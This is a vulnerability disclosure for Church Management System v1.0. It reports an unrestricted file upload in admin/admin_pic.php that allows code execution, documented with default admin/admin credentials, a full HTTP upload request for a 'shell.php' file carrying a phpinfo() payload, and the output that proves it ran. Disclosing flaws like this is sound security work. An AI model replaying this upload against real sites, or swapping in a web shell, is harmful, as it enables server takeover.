

main

...

Bug\_report / vendors / Godfrey De Blessed / church-management-system / RCE-1.md



CokuTau-CH Create RCE-1.md

History

1 contributor

50 lines (34 sloc) | 1.7 KB

...

# Church Management System v1.0 by Godfrey De Blessed has arbitrary code execution (RCE)

BUG\_Author: Cokutau-CH

vendors: <https://www.sourcecodester.com/php/11206/church-management-system.html>

The program is built using the xmapp-php8.1 version

Login account: admin/admin (Super Admin account)

Vulnerability url: ip/cman/admin/admin\_pic.php

Loophole location: Church Management System's admin/admin\_pic.php file exists arbitrary file upload (RCE)

Request package for file upload:

```
POST /cman/admin/admin_pic.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Referer: http://192.168.1.19/cman/admin/dashboard.php  
Cookie: PHPSESSID=fjhrjdpuej6edqv5haoadj3lc  
Connection: close  
Content-Type: multipart/form-data; boundary=-----2114916457143  
Content-Length: 327

-----211491645714374  
Content-Disposition: form-data; name="image"; filename="shell.php"  
Content-Type: application/octet-stream

JFJF  
<?php phpinfo();?>  
-----211491645714374  
Content-Disposition: form-data; name="change"

-----211491645714374--



The files will be uploaded to this directory \cman\admin\uploads



We visited the directory of the file in the browser and found that the code had been executed

INI

SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION OTHER XSS

Load URL http://192.168.1.19/cman/admin/uploads/shell.php

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64

JFJF

## PHP Version 8.0.7

System	Windows NT HOST1 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1)
Build Date	Jun 2 2021 00:33:38
Build System	Microsoft Windows Server 2016 Standard [10.0.14393]
Compiler	Visual C++ 2019
Architecture	x64